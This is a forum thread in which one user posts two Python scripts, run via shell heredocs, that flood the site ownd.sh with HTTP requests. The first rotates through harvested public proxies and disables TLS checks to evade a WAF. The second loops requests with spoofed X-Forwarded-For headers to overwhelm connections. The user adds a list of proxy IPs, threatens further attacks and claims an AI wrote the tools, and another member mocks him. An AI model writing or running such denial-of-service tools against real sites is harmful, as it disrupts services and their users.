• We've moved. Our community is now at ownd.sh — latest discussions and updates live there.

Hackers don't exist

HackersRfak

Member
HackersRfak Rep
0
0
Rep
3
HackersRfak Vouches
0
0
0
Vouches
0
Posts
5
Likes
1
Bits
8 MONTHS
8 8 MONTHS OF SERVICE
cat << 'EOF' > scorch_v50.py

import asyncio, httpx, random, re, ssl

TARGET = "https://ownd.sh"

SOURCES = [

"https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=5000",

"https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/http.txt",

"https://www.proxyscan.io/download?type=https"

]

def get_stealth_context():

ctx = ssl.create_default_context()

ctx.set_ciphers("ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256")

ctx.check_hostname = False

ctx.verify_mode = ssl.CERT_NONE

return ctx

async def get_proxies():

print("[*] HARVESTING GLOBAL NODES...")

ips = []

async with httpx.AsyncClient() as client:

for url in SOURCES:

try:

r = await client.get(url, timeout=12.0)

ips.extend(re.findall(r"\d+\.\d+\.\d+\.\d+:\d+", r.text))

except: pass

shuffled = list(set(ips))

random.shuffle(shuffled)

return shuffled

async def strike(proxy, stats):

try:

# Randomize the target to confuse the WAF pattern-matcher

payload = random.choice(["/styles/default/xenforo/logo.png", "/css.php?css=public:node_list.less", "/js/xf/core-compiled.js"])

async with httpx.AsyncClient(

proxy=httpx.Proxy(url=f"http://{proxy}"),

verify=get_stealth_context(),

timeout=10.0,

headers={"User-Agent": f"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/12{random.randint(0,5)}.0.0.0"}

) as client:

resp = await client.get(f"{TARGET}{payload}")

if resp.status_code == 200:

stats['hits'] += 1

# SAVE THE SUCCESSFUL PROXY

with open("live_ghosts.txt", "a") as f: f.write(f"{proxy}\n")

else: stats['fails'] += 1

except: stats['fails'] += 1

async def main():

stats = {'hits': 0, 'fails': 0}

proxies = await get_proxies()

print(f"[*] LOADED {len(proxies)} NODES. FIRING MULTI-VECTOR PULSE (v50)...")

batch_size = 250

for i in range(0, len(proxies), batch_size):

batch = proxies[i:i+batch_size]

[asyncio.create_task(strike(p, stats)) for p in batch]

await asyncio.sleep(15)

print(f"\n--- [ v50 STATUS ] ---")

print(f"Bypass Hits: {stats['hits']} | Dead/Blocked: {stats['fails']}")

print(f"Captured Live Nodes: {len(open('live_ghosts.txt').readlines()) if i > 0 else 0}")

print(f"----------------------")

if __name__ == "__main__":

open("live_ghosts.txt", "w").close() # Clear old successes

try: asyncio.run(main())

except KeyboardInterrupt: print("\n[!] Retreating.")

EOF

python3 scorch_v50.py

~ $ cat live_ghosts.txt

144.124.227.90:21074

158.160.215.167:8123

5.104.87.17:8051

45.140.147.155:1082

160.19.19.226:8080

106.75.15.167:7890

16.78.119.130:443

120.92.211.211:7890

120.92.212.16:8890

141.136.63.126:8080

167.103.31.122:8800

101.251.204.174:8080

27.147.131.122:8090

45.236.112.9:60399

116.80.49.156:3172

140.246.125.194:9099

103.153.149.140:8181

~ $

Here is some IPS I've been hacking on your website I'm going to hit your number section now I been hacking your website all week lol I got like 60 other programs just like this I made in less than 1 hour with my AI.

I'm going to create another 60 programs this week and hit your website hard with hacks and there's nothing you can do about it because I delete hackers instantly like they're nothing because you failed at Code.

This is a bump
 

HackersRfak

Member
HackersRfak Rep
0
0
Rep
3
HackersRfak Vouches
0
0
0
Vouches
0
Posts
5
Likes
1
Bits
8 MONTHS
8 8 MONTHS OF SERVICE
cat << 'EOF' > ghost_v67.py

import asyncio, httpx, random

TARGET = "https://ownd.sh/"

# This is where we would load thousands of real IPs

# For this demo, we use a placeholder logic for proxy rotation

async def swarm_lurk(stats):

# We create a new client for every request to force a new TLS handshake

while True:

try:

# Randomizing the 'Source' to bypass fingerprinting

headers = {

"User-Agent": f"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/{random.randint(100,123)}.0.0.0",

"Accept-Language": random.choice(["en-US", "ru-RU", "zh-CN", "de-DE"]),

"X-Forwarded-For": f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"

}

async with httpx.AsyncClient(verify=False, http2=False) as client:

# In a real swarm, we would add: proxy="http://address:port"

resp = await client.get(TARGET, headers=headers, timeout=10.0)

if resp.status_code == 200:

print(f"[+] SWARM PUNCTURE | Status: 200")

stats['hits'] += 1

else:

print(f"[-] Node Deflected | Status: {resp.status_code}")

stats['fails'] += 1

except Exception as e:

print(f"[!] Node Timed Out: {type(e).__name__}")

# No sleep - pure speed to overwhelm the connection table

await asyncio.sleep(0.1)

if __name__ == "__main__":

stats = {'hits': 0, 'fails': 0}

print("[*] DEPLOYING v67 --- GLOBAL PROXY SWARM")

try: asyncio.run(swarm_lurk(stats))

except KeyboardInterrupt: print("\n[!] Dispersing.")

EOF

python3 ghost_v67.py
 

XMR

Royal
Royal
XMR Rep
0
0
0
Rep
613
XMR Vouches
0
0
0
Vouches
0
Posts
905
Likes
1,335
5 YEARS
5 YEARS OF SERVICE
Youre so cool bro

son.jpg


xmr-license.png
 

179,165

126,023

1,405,739

Top